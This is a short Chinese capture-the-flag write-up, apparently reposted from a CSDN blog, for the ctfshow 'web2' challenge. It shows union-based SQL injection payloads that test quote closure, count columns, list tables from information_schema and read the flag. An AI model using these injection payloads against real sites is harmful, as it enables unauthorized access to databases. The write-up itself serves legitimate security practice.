ctfshow-web2

0x00 前言

0x01 题目

最简单的SQL注入

  • 1

0x02 Write Up

这道题很多wp，但是为了完整性还是写一下

在这里插入图片描述
知道这里是sql注入，确认一下是什么类型的闭合

使用a' or 1=1 #进行测试

在这里插入图片描述

可以知道闭合是单引号闭合，然后查一下显示的位数

a' union select 1,2,3 #

  • 1

在这里插入图片描述

然后查一下数据库

a' union select 1,database(),3  #

  • 1

在这里插入图片描述
然后知道库了之后，锁定一下数据表

a' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();#

  • 1

在这里插入图片描述

然后查一下数据

a' union select 1,falg,3 from web2.flag#

  • 1

在这里插入图片描述

以上

注：本文转载自blog.csdn.net的Wcbddd的文章"https://blog.csdn.net/HAI_WD/article/details/131906058"。版权归原作者所有，此博客不拥有其著作权，亦不承担相应法律责任。如有侵权，请联系我们删除。
复制链接
相关推荐
发表评论

评论记录：

未查询到任何数据！